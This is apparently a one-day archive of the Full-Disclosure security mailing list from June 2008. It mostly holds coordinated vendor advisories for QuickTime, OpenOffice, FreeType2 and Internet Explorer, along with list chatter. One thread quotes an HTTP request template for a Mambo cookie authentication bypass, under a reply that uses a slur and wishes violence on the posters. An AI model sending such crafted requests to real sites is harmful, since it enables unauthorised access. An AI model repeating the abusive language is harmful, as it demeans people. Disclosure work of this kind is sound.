[Full-disclosure] MOCA 2008: a dream come true

2008-06-10 Thread Alessio L.R. Pennasilico

Many hoped, few believed, the rumors conflicting, the souls aflame,  
cats and dogs sleeping together, but in the end we made it!

Four years after the celebration of the 10th birthday of Metro  
Olografix, at fans' request, the summer camp will come back to let us  
spend a few hot August days together again, among arrosticini and  
glasses of wine and swims and talks - oh my! - in neat little Pescara.

Ardetec li cannilicchie!

The second edition of the Metro Olografix Camp will take place August  
21st to 24th 2008, at the ex Caserma Di Cocco Park. MOCA is a hacker  
camp in north-European style, free admittance, open to all, to meet  
and have fun sharing information and knowledge.

Just like four years ago, it will be a chance to meet old and new  
friends, all those who populated the computer underground so far since  
that infamous 1994, ready to live it in the coming years, together  
with those who have only just begun peeking into a telematic world  
made increasingly more worrisome by technologic and legal implications.

See you in Pescara, you, your tent, your computer: to hack,  
experiment, play, chat, do whatever will ultimately send us thinking  
once again, it was really worth it! all the way back home.

The Call For Papers deadline is August 1st 2008: propose your thematic  
area, your activity, your talk. We'll be happy to help you do  
something for the event and, especially, for all who'll spend together  
four - we hope - unforgettable days of their lives.

Everyone's invited, see you in Pescara, to share experiences and  
knowledge in the spirit of pure hacker ethics.

Information wants to be free!

For info: http://camp.olografix.org/home.php?lng=en

Submit your proposals to: [EMAIL PROTECTED]

Mailing list for attendees: [EMAIL PROTECTED]

a need some nicotine mayhem
-- 
Key on pgp.mit.edu ID B88FE057



-- 
http://mayhem.hk - Key on pgp.mit.edu ID B88FE057



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Re: [Full-disclosure] avira update.exe

2008-06-10 Thread Archibald Tuttle
Thanks for reply, sergio.
I had this problem 2 weeks ago for 3 days.
I thought that they fixed the updater because it was working fine
then.
yesterday the problem appears again.
so may be, it's reproducable.
I will send it to to avira.

a.t.



orginal message:

Hi Tuttle,

If you read carefully what screenshot that you sent you'll realize it 
very easyly...it's trying to write into a NULL pointer, that means it's 
trying to write to the address 0x which in this case is not 
allowed and therefore it's ending in an ACCESS VIOLARION exception.
The cause of that may be a couple (and not all of them belonging to the 
AV software), just forward your problem to the AV company and they would 
figure out how to fix that misbehavior.
It you want a quick fix to that..hehe well I would download and 
reinstall it from the scratch again.

Cheers,
   Sergio

Archibald Tuttle wrote:
 hi.
 today my avira's updater fails again.
 olly started and i made  a screenshot:
 http://grospolina.org/img/avira3.gif
 any ideas?
 what happend?
 
 thank you,
 a.t.

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[Full-disclosure] Secunia Research: Apple QuickTime PICT Image Parsing Buffer Overflow

2008-06-10 Thread Secunia Research
== 

 Secunia Research 10/06/2008

   - Apple QuickTime PICT Image Parsing Buffer Overflow -

== 
Table of Contents

Affected Software1
Severity.2
Vendor's Description of Software.3
Description of Vulnerability.4
Solution.5
Time Table...6
Credits..7
References...8
About Secunia9
Verification10

== 
1) Affected Software 

* Apple QuickTime 7.4.5

NOTE: Other versions may also be affected.

== 
2) Severity 

Rating: Highly critical
Impact: System access
Where:  Remote

== 
3) Vendor's Description of Software 

Whether you are creating content for delivery on cell phones,
broadcast or the Internet, or a software developer looking to take
your application to the next level, QuickTime provides the most
comprehensive platform in the industry.

Product Link:
http://www.apple.com/quicktime/

== 
4) Description of Vulnerability

Secunia Research has discovered a vulnerability in Apple Quicktime
which can be exploited by malicious people to potentially compromise
a user's system.

The vulnerability is caused due to a boundary error when parsing
packed scanlines from a PixData structure in a PICT file and can be
exploited to cause a heap-based buffer overflow via e.g. viewing a
specially crafted image file.

Successful exploitation may allow execution of arbitrary code.

== 
5) Solution 

Update to QuickTime 7.5.

== 
6) Time Table 

10/03/2008 - Vendor notified.
13/03/2008 - Vendor response.
10/06/2008 - Public disclosure.

== 
7) Credits 

Discovered by Dyon Balding, Secunia Research.

== 
8) References

The Common Vulnerabilities and Exposures (CVE) project has assigned 
CVE-2008-1581 for the vulnerability.

== 
9) About Secunia

Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:

http://corporate.secunia.com/

Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private 
individuals, who are interested in or concerned about IT-security.

http://secunia.com/

Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the 
security and reliability of software in general:

http://corporate.secunia.com/secunia_research/33/

Secunia regularly hires new skilled team members. Check the URL below 
to see currently vacant positions:

http://secunia.com/secunia_vacancies/

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/secunia_security_advisories/ 

== 
10) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2008-9/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

==

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Re: [Full-disclosure] Mambo Cookie Authentication Bypass Exploit

2008-06-10 Thread crunkd
So to perform this 'bypass' you need the password in the first 
place? You absolute fucking morons, the security scene is not for 
you. I hope someone stabs you over a food stamp. Faggots.


Halabaluza Team Halabaluza Team halabaluza.team at gmail.com
Sun Jun 8 12:29:56 BST 2008

* Previous message: [Full-disclosure] avira update.exe
* Next message: [Full-disclosure] [ GLSA 200806-03 ] Imlib 2: 
User-assisted execution of arbitrary code
* Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

for mambo = 4.5.5 and = 4.6.2 maybe others

GET http://[TARGET]/index.php
Host: [TARGET]
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5)
Gecko/2008050509 Firefox/3.0b5
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/
plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Connection: keep-alive
Cookie: usercookie[username]=[USERNAME];usercookie[password]=[MD5]
Cache-Control: max-age=0

FREE TIBET!


--
Smart Girls Secret Weapon
Read Unbiased Beauty Product Reviews, Get Helpful Tips, Tricks and Sam
http://tagline.hushmail.com/fc/JKFkuIjyaUM3E9zcp2f7ppavbouTIiiPdCquThperfoYTGho1dzYFq/

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Re: [Full-disclosure] Mambo Cookie Authentication Bypass Exploit

2008-06-10 Thread Garrett M. Groff
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

And situations involving social interaction are not for you. Please avoid
them at all costs until social skills improve.

Oh, and please read the list charter that was recently distributed. On it,
you will see that offensive language and personal attacks are disallowed.

G


- - Original Message - 
From: [EMAIL PROTECTED]
To: full-disclosure@lists.grok.org.uk
Cc: [EMAIL PROTECTED]
Sent: Tuesday, June 10, 2008 3:05 AM
Subject: Re: [Full-disclosure] Mambo Cookie Authentication Bypass Exploit


 So to perform this 'bypass' you need the password in the first
 place? You absolute fucking morons, the security scene is not for
 you. I hope someone stabs you over a food stamp. Faggots.

 
 Halabaluza Team Halabaluza Team halabaluza.team at gmail.com
 Sun Jun 8 12:29:56 BST 2008

* Previous message: [Full-disclosure] avira update.exe
* Next message: [Full-disclosure] [ GLSA 200806-03 ] Imlib 2:
 User-assisted execution of arbitrary code
* Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 for mambo = 4.5.5 and = 4.6.2 maybe others

 GET http://[TARGET]/index.php
 Host: [TARGET]
 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5)
 Gecko/2008050509 Firefox/3.0b5
 Accept:
 text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/
 plain;q=0.8,image/png,*/*;q=0.5
 Keep-Alive: 300
 Connection: keep-alive
 Cookie: usercookie[username]=[USERNAME];usercookie[password]=[MD5]
 Cache-Control: max-age=0

 FREE TIBET!


 --
 Smart Girls Secret Weapon
 Read Unbiased Beauty Product Reviews, Get Helpful Tips, Tricks and Sam
 http://tagline.hushmail.com/fc/JKFkuIjyaUM3E9zcp2f7ppavbouTIiiPdCquThperf
 oYTGho1dzYFq/

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

-BEGIN PGP SIGNATURE-
Version: PGP Desktop 9.8.3 (Build 4028) - not licensed for commercial use: 
www.pgp.com
Charset: utf-8

wj8DBQFITn9RSGIRT5oVahwRAvPpAKCG3E5/0eqUAqXDy/+wMucj4JqtkQCeICbU
R106Zq59OTfeb8s0RFcXY10=
=FPM3
-END PGP SIGNATURE-

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[Full-disclosure] Who's Behind the GPcode Ransomware?

2008-06-10 Thread Dancho Danchev
Hello,

The following is an OSINT analysis aiming to assist in tracking down
the malware authors behind GPcode who seem be to be building custom
decryptors, next to issuing a universal one which can be used to
decrypt anything ever encrypted by them.

Who's behind the GPcode ransomware? It's Russian teens with pimples,
using E-gold and Liberty Reserve accounts, running three different
GPcode campaigns, two of which request either $100 or $200 for the
decryptor, and communicating from Chinese IPs. Here are all the
details regarding the emails they use, the email responses they sent
back, the currency accounts, as well their most recent IPs used in the
communication.

http://ddanchev.blogspot.com/2008/06/whos-behind-gpcode-ransomware.html
http://blogs.zdnet.com/security/?p=1259

Regards
-- 
Dancho Danchev
Cyber Threats Analyst/Blogger
http://ddanchev.blogspot.com
http://blogs.zdnet.com/security
http://windowsecurity.com/Dancho_Danchev

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[Full-disclosure] Technical Details of Security Issues Regarding Safari for Windows

2008-06-10 Thread LIUDIEYU dot COM
The first issue is the one described in Microsoft Security Advisory
953818. It's worked out by Aviv Raff:
http://www.microsoft.com/technet/security/advisory/953818.mspx
http://aviv.raffon.net/2008/05/31/SafariPwnsInternetExplorer.aspx
It's covered by news but Aviv Raff has not published technical details
yet. News stories say Microsoft are going to handle this: The
Internet Explorer bulletin is expected to be cumulative and might
include some remediation for the Safari for Windows vulnerability
disclosed last month by Nitesh Dhanjani
http://news.cnet.com/8301-10789_3-9959752-57.html?part=rsssubj=newstag=2547-1_3-0-20
(It should be Aviv Raff instead of Nitesh Dhanjani, as suggested in
the Microsoft security advisory and Aviv Raff's blog.)
Also it sounds unnatural that Microsoft provide remediation for Safari
vulnerability, and that remediation is distributed in IE patch. I
provide the technical details of this issue for those who are
interested:
http://liudieyu0.blog124.fc2.com/blog-entry-1.html
In my personal opinion this issue is rooted in IE wrongly loading DLL
from desktop(instead of WINDOWS\SYSTEM32).

The second issue is about the possibility that Safari can download
malicious content that has confusing file name and icon which might be
launched later by unknowing user. Details are here:
A New Security Issue in Safari for Windows, NOT the Blended Threat
Described in Microsoft Security Advisory 953818
http://liudieyu0.blog124.fc2.com/blog-entry-3.html
In the post I say the main concern comes from LNK(shortcut file). Of
course EXE can also be a concern if file name extension is hidden. But
most people I know do have file name extension displayed in Windows.

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Re: [Full-disclosure] Who's Behind the GPcode Ransomware?

2008-06-10 Thread kat
Hoi,
but in fact their businessmodel will fail,
if one would resell the decryptor.
alternatively (if got to much money) buy it and allow free download.

greets,
kat



orginal message:
Hello,

The following is an OSINT analysis aiming to assist in tracking down
the malware authors behind GPcode who seem be to be building custom
decryptors, next to issuing a universal one which can be used to
decrypt anything ever encrypted by them.

Who's behind the GPcode ransomware? It's Russian teens with pimples,
using E-gold and Liberty Reserve accounts, running three different
GPcode campaigns, two of which request either $100 or $200 for the
decryptor, and communicating from Chinese IPs. Here are all the
details regarding the emails they use, the email responses they sent
back, the currency accounts, as well their most recent IPs used in the
communication.

http://ddanchev.blogspot.com/2008/06/whos-behind-gpcode-ransomware.html
http://blogs.zdnet.com/security/?p=1259

Regards
-- 
Dancho Danchev
Cyber Threats Analyst/Blogger
http://ddanchev.blogspot.com
http://blogs.zdnet.com/security
http://windowsecurity.com/Dancho_Danchev


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[Full-disclosure] iDefense Security Advisory 06.10.08: Multiple Vendor OpenOffice rtl_allocateMemory() Integer Overflow Vulnerability

2008-06-10 Thread iDefense Labs
iDefense Security Advisory 06.10.08
http://labs.idefense.com/intelligence/vulnerabilities/
Jun 10, 2008

I. BACKGROUND

OpenOffice is an open-source desktop office suite for many of today's
popular operating systems. For more information, see the vendor's site
found at the following URL.

http://www.openoffice.org/

II. DESCRIPTION

Remote exploitation of an integer overflow vulnerability in OpenOffice,
as included in various vendors' operating system distributions, allows
attackers to execute arbitrary code with the privileges of the
logged-in user.

The vulnerability exists due to the rtl_allocateMemory() function
rounding up allocation requests to be aligned on an 8 byte boundary
without checking if this rounding results in an integer overflow
condition. The vulnerable code is as follows, taken from
sal/rtl/source/alloc_global.c:

   191  void *
   192  SAL_CALL rtl_allocateMemory (sal_Size n)
   193  {
   194  void * p = 0;
   195  if (n  0)
   196  {
   197  char * addr;
   198  sal_Size   size = RTL_MEMORY_ALIGN(n + 
RTL_MEMALIGN, RTL_MEMALIGN);
   199
   200  int index = (size - 1)  RTL_MEMALIGN_SHIFT;
   201  OSL_ASSERT(RTL_MEMALIGN = sizeof(sal_Size));
   202
   203  try_alloc:
   204  if (index  RTL_MEMORY_CACHED_LIMIT  
RTL_MEMALIGN_SHIFT)
   205  addr = 
(char*)rtl_cache_alloc(g_alloc_table[index]);
   206  else
   207  addr = (char*)rtl_arena_alloc 
(gp_alloc_arena, size);
   208

The problem occurs at line 198. The n + RTL_MEMALIGN calculation can
overflow if n  UINT_MAX - RTL_MEMALIGN. This results in an undersized
buffer being allocated at try_alloc. This buffer is then passed back to
the calling function, which assumes that the buffer is much larger than
it actually is. This results in a heap overflow.

As this vulnerability occurs in the core memory allocator, there are
numerous ways to trigger the vulnerable code using a wide variety of
different file types.

III. ANALYSIS

Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user opening the file. To exploit this
vulnerability, an attacker needs to convince a user to open a malicious
file. After opening the file, no further interaction is needed.

IV. DETECTION

iDefense has confirmed the existence of this vulnerability in OpenOffice
version 2.4. Previous versions may also be affected.

V. WORKAROUND

iDefense is currently unaware of any workarounds for this issue. Since
the vulnerability can be triggered by so many different file types,
disabling access to certain file types is not a valid workaround. As
such, avoid opening files from untrusted parties and unexpected files
from trusted parties.

VI. VENDOR RESPONSE

OpenOffice.Org has addressed this vulnerability by releasing version
2.4.1 of their product. For more information, consult the OOo Security
Bulletin at the following URL.

http://www.openoffice.org/security/cves/CVE-2008-2152.html

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-2152 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

05/08/2008  Initial vendor notification
05/09/2008  Initial vendor response
06/10/2008  Coordinated public disclosure

IX. CREDIT

This vulnerability was discovered by Sean Larsson, iDefense Labs.

Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php

Free tools, research and upcoming events
http://labs.idefense.com/

X. LEGAL NOTICES

Copyright © 2008 iDefense, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail [EMAIL PROTECTED] for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
 There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.

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[Full-disclosure] iDefense Security Advisory 06.10.08: Multiple Vendor FreeType2 PFB Memory Corruption Vulnerability

2008-06-10 Thread iDefense Labs
iDefense Security Advisory 06.10.08
http://labs.idefense.com/intelligence/vulnerabilities/
Jun 10, 2008

I. BACKGROUND

FreeType2 is an open source library for parsing fonts that is used by
many applications. This includes projects such as X.Org, Second Life,
and the Sun Java JRE. For more information, please see the vendor's
website at the following URL.

http://freetype.sourceforge.net/freetype2/

II. DESCRIPTION

Remote exploitation of a memory corruption vulnerability in the
FreeType2 library, as included in various vendors' operating systems,
could allow an attacker to execute arbitrary code with the privileges
of the affected application.

The vulnerability exists within the code responsible for parsing Printer
Font Binary (PFB) format font files. By providing an invalid 'number of
axes' in the file, it is possible to cause the code to call the free()
function on areas of memory that were not dynamically allocated. This
can lead to memory corruption, which can allow for the execution of
arbitrary code.

III. ANALYSIS

Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the application using the library. Since
FreeType2 is a library and not a standalone application, the
exploitation vector will vary. iDefense Labs verified that local
privilege escalation was possible via the X.Org Xserver.

IV. DETECTION

iDefense has confirmed the existence of this vulnerability in FreeType2
version 2.3.5. Previous versions may also be affected.

V. WORKAROUND

iDefense is currently unaware of any workarounds for this issue.
Changing the permissions on the freetype.so library may not always be
effective since applications that run with root privileges are not
restricted by file permissions.

VI. VENDOR RESPONSE

The FreeType maintainers addressed this vulnerability with the release
of version 2.3.6. For more information, refer to the release notes at
the following URL.

http://sourceforge.net/project/shownotes.php?group_id=3157release_id=605780

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-1807 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

06/03/2008  Initial vendor notification
06/04/2008  Initial vendor response
06/10/2008  Coordinated public disclosure

IX. CREDIT

This vulnerability was reported to iDefense by regenrecht.

Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php

Free tools, research and upcoming events
http://labs.idefense.com/

X. LEGAL NOTICES

Copyright © 2008 iDefense, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail [EMAIL PROTECTED] for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
 There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.

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[Full-disclosure] iDefense Security Advisory 06.10.08: Multiple Vendor FreeType2 PFB Integer Overflow Vulnerability

2008-06-10 Thread iDefense Labs
iDefense Security Advisory 06.10.08
http://labs.idefense.com/intelligence/vulnerabilities/
Jun 10, 2008

I. BACKGROUND

FreeType2 is an open source library for parsing fonts that is used by
many applications. This includes projects such as X.Org, Second Life,
and the Sun Java JRE. For more information, please see the vendor's
website at the following URL.

http://freetype.sourceforge.net/freetype2/

II. DESCRIPTION

Remote exploitation of an integer overflow vulnerability in the
FreeType2 library, as included in various vendors' operating systems,
could allow an attacker to execute arbitrary code with the privileges
of the affected application.

The vulnerability exists within the code responsible for parsing Printer
Font Binary (PFB) format font files. PFB files contain a section known
as the Private dictionary table which is used to describe how
characters are constructed. When parsing this data structure, a series
of 16-bit length values are read in from the file. These values are
added together and used to allocate a dynamic buffer. The addition can
result in an integer overflow, which subsequently leads to a heap
overflow.

III. ANALYSIS

Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the application using the library. Since
FreeType2 is a library and not a standalone application, the
exploitation vector will vary. iDefense Labs verified that local
privilege escalation was possible via the X.Org Xserver.

IV. DETECTION

iDefense has confirmed the existence of this vulnerability in FreeType2
version 2.3.5. Previous versions may also be affected.

V. WORKAROUND

iDefense is currently unaware of any workarounds for this issue.
Changing the permissions on the freetype.so library may not always be
effective since applications that run with root privileges are not
restricted by file permissions.

VI. VENDOR RESPONSE

The FreeType maintainers addressed this vulnerability with the release
of version 2.3.6. For more information, refer to the release notes at
the following URL.

http://sourceforge.net/project/shownotes.php?group_id=3157release_id=605780

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-1806 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

06/03/2008  Initial vendor notification
06/04/2008  Initial vendor response
06/10/2008  Coordinated public disclosure

IX. CREDIT

This vulnerability was reported to iDefense by regenrecht.

Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php

Free tools, research and upcoming events
http://labs.idefense.com/

X. LEGAL NOTICES

Copyright © 2008 iDefense, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail [EMAIL PROTECTED] for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
 There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.

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[Full-disclosure] iDefense Security Advisory 06.10.08: Multiple Vendor FreeType2 Multiple Heap Overflow Vulnerabilities

2008-06-10 Thread iDefense Labs
iDefense Security Advisory 06.10.08
http://labs.idefense.com/intelligence/vulnerabilities/
Jun 10, 2008

I. BACKGROUND

FreeType2 is an open source library for parsing fonts that is used by
many applications. This includes projects such as X.Org, Second Life,
and the Sun Java JRE. For more information, please see the vendor's
website at the following URL.

http://freetype.sourceforge.net/freetype2/

II. DESCRIPTION

Remote exploitation of multiple heap overflow vulnerabilities in the
FreeType2 library, as included in various vendors' operating systems,
could allow an attacker to execute arbitrary code with the privileges
of the affected application.

Two vulnerabilities exist within the code responsible for parsing font
files.

The first vulnerability occurs when parsing Printer Font Binary (PFB)
format font files. PFB files contain various data structures, some of
which are stored in a tabular format. When parsing tables, the code
doesn't correctly validate a value used as an array index into a heap
buffer. The calculation contains an off-by-one error, which can result
in a heap overflow.

The second vulnerability occurs when parsing TrueType Font (TTF) font
files. TrueType font files contain font programs that are executed in
a TrueType virtual machine. One of the instructions in the instruction
set is 'SHC', which is used to shift a contour in the font by a
specified value. When parsing this instruction, the code doesn't
correctly validate an array index, which leads to an off-by-one heap
overflow.

III. ANALYSIS

Exploitation of these vulnerabilities results in the execution of
arbitrary code with the privileges of the application using the
library. Since FreeType2 is a library and not a standalone application,
the exploitation vector will vary. iDefense Labs verified that local
privilege escalation was possible via the X.Org Xserver.

IV. DETECTION

iDefense has confirmed the existence of these vulnerabilities in
FreeType2 version 2.3.5. Previous versions may also be affected.

V. WORKAROUND

iDefense is currently unaware of any workarounds for these issues.
Changing the permissions on the freetype.so library may not always be
effective since applications that run with root privileges are not
restricted by file permissions.

VI. VENDOR RESPONSE

The FreeType maintainers addressed these vulnerabilities with the
release of version 2.3.6. For more information, refer to the release
notes at the following URL.

http://sourceforge.net/project/shownotes.php?group_id=3157release_id=605780

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-1808 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

06/03/2008  Initial vendor notification
06/04/2008  Initial vendor response
06/10/2008  Coordinated public disclosure

IX. CREDIT

These vulnerabilities were reported to iDefense by regenrecht.

Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php

Free tools, research and upcoming events
http://labs.idefense.com/

X. LEGAL NOTICES

Copyright © 2008 iDefense, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail [EMAIL PROTECTED] for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
 There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.

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[Full-disclosure] ZDI-08-038: QuickTime SMIL qtnext Redirect File Execution

2008-06-10 Thread zdi-disclosures
ZDI-08-038: QuickTime SMIL qtnext Redirect File Execution
http://www.zerodayinitiative.com/advisories/ZDI-08-038
June 10, 2008

-- CVE ID:
CVE-2008-1585

-- Affected Vendors:
Apple

-- Affected Products:
Apple Quicktime

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 6119. 
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Apple QuickTime. User interaction is
required to exploit this vulnerability in that the target must open a
malicious file.

The specific flaw exists in the handling of SMIL text embedded in video
formats. No sanity checking is performed on values of the qt:next
attribute. When the URI for this attribute is a file type not recognized
by QuickTime, it is passed to url.dll!FileProtocolHandler which will
allow explorer.exe handle non-http filetypes. Successful exploitation
can result in the execution of arbitrary code.

-- Vendor Response:
Apple has issued an update to correct this vulnerability. More
details can be found at:

http://support.apple.com/kb/HT1222

-- Disclosure Timeline:
2008-05-08 - Vulnerability reported to vendor
2008-06-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Petko D. (pdp) Petkov | GNUCITIZEN

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents 
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

CONFIDENTIALITY NOTICE: This e-mail message, including any attachments,
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[Full-disclosure] ZDI-08-037: Apple QuickTime Indeo Video Buffer Overflow Vulnerability

2008-06-10 Thread zdi-disclosures
ZDI-08-037: Apple QuickTime Indeo Video Buffer Overflow Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-08-037
June 10, 2008

-- CVE ID:
CVE-2008-1584

-- Affected Vendors:
Apple

-- Affected Products:
Apple Quicktime

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 5997. 
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows attackers to execute arbitrary code on
vulnerable installations of Apple Quicktime Player. User interaction
is required to exploit this vulnerability in that the target must visit
a malicious page or open a malicious file.

The specific flaw exists within the parsing of Quicktime files that
utilize the Indeo video codec. A lack of proper bounds checking withing
Indeo.qtx can result in a stack based buffer overflow leading to arbitrary 
code
execution under the context of the currently logged in user.

-- Vendor Response:
Apple has issued an update to correct this vulnerability. More
details can be found at:

http://support.apple.com/kb/HT1222

-- Disclosure Timeline:
2008-02-07 - Vulnerability reported to vendor
2008-06-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents 
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

CONFIDENTIALITY NOTICE: This e-mail message, including any attachments,
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[Full-disclosure] ZDI-08-039: Microsoft Internet Explorer DOM Ojbect substringData() Heap Overflow Vulnerability

2008-06-10 Thread zdi-disclosures
ZDI-08-039: Microsoft Internet Explorer DOM Ojbect substringData() Heap 
Overflow Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-08-039
June 10, 2008

-- CVE ID:
CVE-2008-1442

-- Affected Vendors:
Microsoft

-- Affected Products:
Microsoft Internet Explorer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 6155. 
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of various Microsoft Internet Explorer. User
interaction is required to exploit this vulnerability in that the target
must visit a malicious page.

The specific flaw exists in the substringData() method when called on a
DOM object that has been manipulated in a special way. The attack
results in an exploitable heap buffer allowing for code execution under
the context of the current user.

-- Vendor Response:
Microsoft has issued an update to correct this vulnerability. More
details can be found at:

http://www.microsoft.com/technet/security/Bulletin/MS08-031.mspx

-- Disclosure Timeline:
2008-02-07 - Vulnerability reported to vendor
2008-06-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous
* Peter Vreugdenhil
* Sebastian Apelt ([EMAIL PROTECTED])

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents 
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

CONFIDENTIALITY NOTICE: This e-mail message, including any attachments,
is being sent by 3Com for the sole use of the intended recipient(s) and
may contain confidential, proprietary and/or privileged information.
Any unauthorized review, use, disclosure and/or distribution by any 
recipient is prohibited.  If you are not the intended recipient, please
delete and/or destroy all copies of this message regardless of form and
